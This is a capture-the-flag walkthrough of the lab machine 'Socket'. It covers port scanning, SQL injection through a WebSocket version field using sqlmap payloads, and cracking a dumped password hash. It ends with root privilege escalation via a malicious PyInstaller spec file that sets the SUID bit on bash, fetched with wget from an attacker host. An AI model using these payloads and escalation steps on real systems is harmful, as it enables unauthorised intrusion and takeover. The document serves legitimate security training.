Scanning

> TARGET=10.129.1.248 && nmap -p$(nmap -p- --min-rate=1000 -T4 $TARGET -Pn | grep ^[0-9] | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//) -sC -sV -Pn -vvv $TARGET -oN nmap_tcp_all.nmap

PORT     STATE SERVICE REASON         VERSION
22/tcp   open  ssh     syn-ack ttl 63 OpenSSH 8.9p1 Ubuntu 3ubuntu0.1 (Ubuntu Linux; protocol 2.0)
80/tcp   open  http    syn-ack ttl 63 Apache httpd 2.4.52
|_http-server-header: Apache/2.4.52 (Ubuntu)
|_http-title: Did not follow redirect to http://qreader.htb/
| http-methods: 
|_  Supported Methods: GET HEAD POST OPTIONS
5789/tcp open  unknown syn-ack ttl 63
| fingerprint-strings: 
|   GenericLines: 
|     HTTP/1.1 400 Bad Request
|     Date: Sun, 26 Mar 2023 19:55:57 GMT
|     Server: Python/3.10 websockets/10.4
|     Content-Length: 77
|     Content-Type: text/plain
|     Connection: close
|     Failed to open a WebSocket connection: did not receive a valid HTTP request.
|   GetRequest: 
|     HTTP/1.1 400 Bad Request
|     Date: Sun, 26 Mar 2023 19:55:58 GMT
|     Server: Python/3.10 websockets/10.4
|     Content-Length: 77
|     Content-Type: text/plain
|     Connection: close
|     Failed to open a WebSocket connection: did not receive a valid HTTP request.
|   HTTPOptions: 
|     HTTP/1.1 400 Bad Request
|     Date: Sun, 26 Mar 2023 19:55:59 GMT
|     Server: Python/3.10 websockets/10.4
|     Content-Length: 77
|     Content-Type: text/plain
|     Connection: close
|     Failed to open a WebSocket connection: did not receive a valid HTTP request.
|   Help: 
|     HTTP/1.1 400 Bad Request
|     Date: Sun, 26 Mar 2023 19:56:19 GMT
|     Server: Python/3.10 websockets/10.4
|     Content-Length: 77
|     Content-Type: text/plain
|     Connection: close
|     Failed to open a WebSocket connection: did not receive a valid HTTP request.
|   RTSPRequest: 
|     HTTP/1.1 400 Bad Request
|     Date: Sun, 26 Mar 2023 19:56:01 GMT
|     Server: Python/3.10 websockets/10.4
|     Content-Length: 77
|     Content-Type: text/plain
|     Connection: close
|     Failed to open a WebSocket connection: did not receive a valid HTTP request.
|   SSLSessionReq: 
|     HTTP/1.1 400 Bad Request
|     Date: Sun, 26 Mar 2023 19:56:20 GMT
|     Server: Python/3.10 websockets/10.4
|     Content-Length: 77
|     Content-Type: text/plain
|     Connection: close
|_    Failed to open a WebSocket connection: did not receive a valid HTTP request.
  • Domain: qreader.htb
  • Subdomain, dirsearch didn’t find anything
  • Tampering the webapp didn’t find anything

WebSocket enum

  • Connect to the web socket at 5789
┌──(root㉿kali)-[~/workspace/Socket]
└─# wscat --connect ws://qreader.htb:5789
Connected (press CTRL+C to quit)
> {}
< {"paths": {"/update": "Check for updates", "/version": "Get version information"}}
Disconnected (code: 1000, reason: "")

wscat --connect ws://qreader.htb:5789/version      
Connected (press CTRL+C to quit)
> {"version":"10.4"}
< {"message": "Invalid version!"}
Disconnected (code: 1000, reason: "")

SQLi: user flag

  • A sqli vulnerability can be found in the version field
{"version":"<sqli>"}
def send_ws(payload):
    ws = create_connection(ws_server)
    message = unquote(payload).replace('\'','\\\"') # modify this line
    data = '{"version":"%s"}' % message
    ws.send(data)
    resp = ws.recv()
    ws.close()
    if resp:
        return resp
    else:
        return ''
  • Then run sqlmap
> sqlmap -u "http://localhost:8081/?id=*" --risk=3 --level=5 --batch
qlmap identified the following injection point(s) with a total of 242 HTTP(s) requests:
---
Parameter: #1* (URI)
    Type: boolean-based blind
    Title: OR boolean-based blind - WHERE or HAVING clause (NOT)
    Payload: http://localhost:8081/?id=' OR NOT 5698=5698-- aDqL

    Type: time-based blind
    Title: SQLite > 2.0 OR time-based blind (heavy query)
    Payload: http://localhost:8081/?id=' OR 3017=LIKE(CHAR(65,66,67,68,69,70,71),UPPER(HEX(RANDOMBLOB(500000000/2))))-- GMtz

    Type: UNION query
    Title: Generic UNION query (NULL) - 4 columns
    Payload: http://localhost:8081/?id=' UNION ALL SELECT NULL,CHAR(113,118,120,122,113)||CHAR(119,87,120,89,109,72,97,88,89,84,65,111,119,69,70,98,89,118,89,112,90,116,69,87,98,115,80,70,71,118,116,65,121,102,111,108,66,122,87,98)||CHAR(113,113,118,98,113),NULL,NULL-- gdkB

# dump the user table
> sqlmap -u "http://localhost:8081/?id=*" --risk=3 --level=5 --batch --dump

Table: users
[1 entry]
+----+-------+----------------------------------+----------+
| id | role  | password                         | username |
+----+-------+----------------------------------+----------+
| 1  | admin | 0c090c365fa0559b151a43e0fea39710 | admin    |
+----+-------+----------------------------------+----------+
  • Crack this on crackstation: denjanjade122566
  • The username is not admin, look at the following table to find the admin’s name: tkeller
able: answers
[2 entries]
+----+-------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+---------+-------------+---------------+
| id | answer                                                                                                                                                                        | status  | answered_by | answered_date |
+----+-------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+---------+-------------+---------------+
| 1  | Hello Json,\\n\\nAs if now we support PNG formart only. We will be adding JPEG/SVG file formats in our next version.\\n\\nThomas Keller                                       | PENDING | admin       | 17/08/2022    |
| 2  | Hello Mike,\\n\\n We have confirmed a valid problem with handling non-ascii charaters. So we suggest you to stick with ascci printable characters for now!\\n\\nThomas Keller | PENDING | admin       | 25/09/2022    |
+----+-------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+---------+-------------+---------------+
  • login to get the user flag
tkeller@socket:~$ ls
user.txt
tkeller@socket:~$ cat user.txt 
a946e6f65c460c67d3fc1ee3c117f47c

PE: root

  • Upload pspy64 and monitor running processes
2023/03/27 02:00:10 CMD: UID=1000 PID=1181   | python3 /var/www/ws_server/server.py 
2023/03/27 02:00:10 CMD: UID=1000 PID=1180   | python3 /var/www/main/main.py
2023/03/27 02:00:10 CMD: UID=0    PID=1169   | PM2 v5.2.0: God Daemon (/root/.pm2) 
  • Check sudo rights
tkeller@socket:~$ sudo -l
Matching Defaults entries for tkeller on socket:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty

User tkeller may run the following commands on socket:
    (ALL : ALL) NOPASSWD: /usr/local/sbin/build-installer.sh
  • Check the shell script: /usr/local/sbin/build-installer.sh
#!/bin/bash
if [ $# -ne 2 ] && [[ $1 != 'cleanup' ]]; then
  /usr/bin/echo "No enough arguments supplied"
  exit 1;
fi

action=$1
name=$2
ext=$(/usr/bin/echo $2 |/usr/bin/awk -F'.' '{ print $(NF) }')

if [[ -L $name ]];then
  /usr/bin/echo 'Symlinks are not allowed'
  exit 1;
fi

if [[ $action == 'build' ]]; then
  if [[ $ext == 'spec' ]] ; then
    /usr/bin/rm -r /opt/shared/build /opt/shared/dist 2>/dev/null
    /home/svc/.local/bin/pyinstaller $name
    /usr/bin/mv ./dist ./build /opt/shared
  else
    echo "Invalid file format"
    exit 1;
  fi
elif [[ $action == 'make' ]]; then
  if [[ $ext == 'py' ]] ; then
    /usr/bin/rm -r /opt/shared/build /opt/shared/dist 2>/dev/null
    /root/.local/bin/pyinstaller -F --name "qreader" $name --specpath /tmp
   /usr/bin/mv ./dist ./build /opt/shared
  else
    echo "Invalid file format"
    exit 1;
  fi
elif [[ $action == 'cleanup' ]]; then
  /usr/bin/rm -r ./build ./dist 2>/dev/null
  /usr/bin/rm -r /opt/shared/build /opt/shared/dist 2>/dev/null
  /usr/bin/rm /tmp/qreader* 2>/dev/null
else
  /usr/bin/echo 'Invalid action'
  exit 1;
fi
  • Construct a spec file like below so that the cmd can be executed when building
  • The shell.py can contain anything, it just needs to be present on the system
# -*- mode: python ; coding: utf-8 -*-
import os
os.system("chmod +s /usr/bin/bash")

block_cipher = None


a = Analysis(
    ['shell.py'],
    pathex=[],
    binaries=[],
    datas=[],
    hiddenimports=[],
    hookspath=[],
    hooksconfig={},
    runtime_hooks=[],
    excludes=[],
    win_no_prefer_redirects=False,
    win_private_assemblies=False,
    cipher=block_cipher,
    noarchive=False,
)
pyz = PYZ(a.pure, a.zipped_data, cipher=block_cipher)

exe = EXE(
    pyz,
    a.scripts,
    [],
    exclude_binaries=True,
    name='shell',
    debug=False,
    bootloader_ignore_signals=False,
    strip=False,
    upx=True,
    console=True,
    disable_windowed_traceback=False,
    argv_emulation=False,
    target_arch=None,
    codesign_identity=None,
    entitlements_file=None,
)
coll = COLLECT(
    exe,
    a.binaries,
    a.zipfiles,
    a.datas,
    strip=False,
    upx=True,
    upx_exclude=[],
    name='shell',
)
  • Run the following to trigger the malicious code
> wget http://<ip>/shell.py -O shell.py && wget http://<ip>/shell.spec -O shell.spec && sudo /usr/local/sbin/build-installer.sh build shell.spec
  • Prompt a root shell to get the root flag
tkeller@socket:~$ ls -ls /usr/bin/bash
1364 -rwsr-sr-x 1 root root 1396520 Jan  6  2022 /usr/bin/bash
tkeller@socket:~$ bash -p
bash-5.1# id
uid=1001(tkeller) gid=1001(tkeller) euid=0(root) egid=0(root) groups=0(root),1001(tkeller),1002(shared)
bash-5.1# cat /root/root.txt
b351d336de66d64037f29a9b3ac96246